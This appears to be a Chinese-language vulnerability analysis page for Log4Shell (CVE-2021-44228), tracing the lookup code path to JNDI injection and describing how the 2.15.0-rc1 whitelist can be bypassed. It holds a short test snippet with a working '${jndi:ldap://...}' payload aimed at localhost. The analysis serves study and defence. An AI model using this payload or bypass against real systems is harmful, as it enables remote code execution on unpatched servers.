Skip to content

Latest commit

 

History

History
58 lines (56 loc) · 3.06 KB

CVE-2021-44228-远程代码执行.md

File metadata and controls

58 lines (56 loc) · 3.06 KB

CVE-2021-44228 远程代码执行

影响范围

Version < 2.15.0-rc2

原理分析

该漏洞主要是由于Log4j提供一个lookup功能来进行远程配置文件的加载,而该lookup功能支持jdni协议,并且lookup的参数无过滤和限制造成JNDI注入. 该漏洞触发点较多,以Logger.error()方法为例,测试代码如下

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class main {
    private  static final Logger LOGGER = LogManager.getLogger();
    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:1389/test}");
    }
    }

日志等级

在error方法中首先调用logIfEnabled来判断日志功能是否开启. 其中第二个参数Level.ERROR即日志等级为ERROR等级(200). 关于不同的日志等级定义在StandardLevel中,如下 logIfEnabled中调用isEnabled来判断是否开启日志功能,同时把日志等级(200)传入,只有返回为true才会进入到后续的日志记录方法logMessage中. 而在isEnabled中最后是调用了org/apache/logging/log4j/core/Logger.java#filter进行判断. 可以看到需要满足 intLevel >= level.intLevel(),也就是要小于等于200,而从前面的日志等级可以看出小于等于200的,还有FATAL,OFF为0,即不会进行任何记录操作.

${ Replace

在后续的日志记录方法中一路跟到MessagePatternConverter.java#format方法中, 在format方法中经过一个if (config != null && !noLookups)判断进入for循环,其中noLookups默认为false,即!noLookups为true,即允许lookup. 在循环中对message信息字符串进行遍历,如果遇到以${开头的部分则提取其中的部分调用config.getStrSubstitutor().replace进行替换.

Lookup->RCE

replace中主要是调用了两次substitute方法,一直来到substitute的1033行,调用resolveVariable来处理之前从${}中提取的字符串. resolveVariable中则直接调用StrLookup.lookup方法. 在其lookup方法中根据前四个字符来决定使用的协议. 其中支持的协议如下 可以看到支持JNDI协议,而此时的name变量即是${}当中的字符串,根据前四个字符为JNDI,最后调用jndiLookup.lookup造成了JDNI注入. 调用栈如下:

RC1 Bypass

  1. 需要用户手动开启lookup功能
  2. RC1 对LDAP地址进行了白名单校验,但白名单校验流程的catch 未return,导致可以构造异常进入catch段跳过白名单校验.